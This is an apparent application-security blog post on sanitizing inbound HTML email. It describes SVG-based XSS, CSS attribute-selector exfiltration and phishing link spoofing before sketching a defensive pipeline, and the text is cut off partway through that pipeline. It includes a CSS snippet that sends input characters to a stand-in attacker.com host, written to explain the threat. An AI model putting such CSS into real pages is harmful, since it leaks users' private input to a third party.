Application Security9 min read
Inbound Email Sanitization: Mitigating SVG Exploits, CSS Exfiltration, and Phishing Vectors
A deep dive into server-side MIME parsing, DOMPurify sandboxing, and preventing browser-side exploits in webmail viewers.
Marcus Vance, Systems Administrator
Published on 2026-10-29
The Danger of Rendering Untrusted HTML
Building a webmail client is one of the most perilous challenges in web application security. An email client receives arbitrary, untrusted HTML, CSS, and MIME payloads from unknown senders across the open internet, and is tasked with rendering that content inside a user's web browser.If an email platform naively injects raw HTML bodies into the Document Object Model (DOM) using React'sdangerouslySetInnerHTML or native innerHTML, an attacker can execute **Cross-Site Scripting (XSS)**, steal session tokens, or exfiltrate private mailbox contents.3 Sneaky HTML Email Attack Vectors
#1. SVG-Based XSS Payloads
Attackers frequently embed malicious scripts inside inline Scalable Vector Graphics () elements. Because SVGs support embedded tags and event handlers like onload, standard HTML filters that only look for tags often fail to catch them:
#2. CSS-Based Keylogging & Data Exfiltration
Attackers can exfiltrate sensitive text without running JavaScript by leveraging CSS attribute selectors and background image requests:css
/* Exfiltrating input values via CSS */
input[value^="a"] { background-image: url('https://attacker.com/log?char=a'); }
input[value^="b"] { background-image: url('https://attacker.com/log?char=b'); }
#3. Phishing Link Spoofing
Phishing emails display deceptive anchor text (e.g.https://www.paypal.com). A hurried user glancing at the text clicks the link and is redirected to a fraudulent credential harvesting portal.The SafePassMail Defensive Sanitization Architecture
To neutralize these attack vectors before emails ever reach user devices, SafePassMail enforces a rigorous, multi-layered defensive pipeline:
[ Incoming Internet SMTP ]
│
▼
[ Postfix Inbound Server ]
│
▼
[ Layer 1: Python MIME Parsing & Stripping ]
├── Extracts raw text & multipart HTML
├── Rejects executable attachments (.exe, .bat, .js, .vbs)
▼
[ Layer 2: Strict DOMPurify Sanitization ]
├── Enforces strict HTML tag allowlist
├── Strips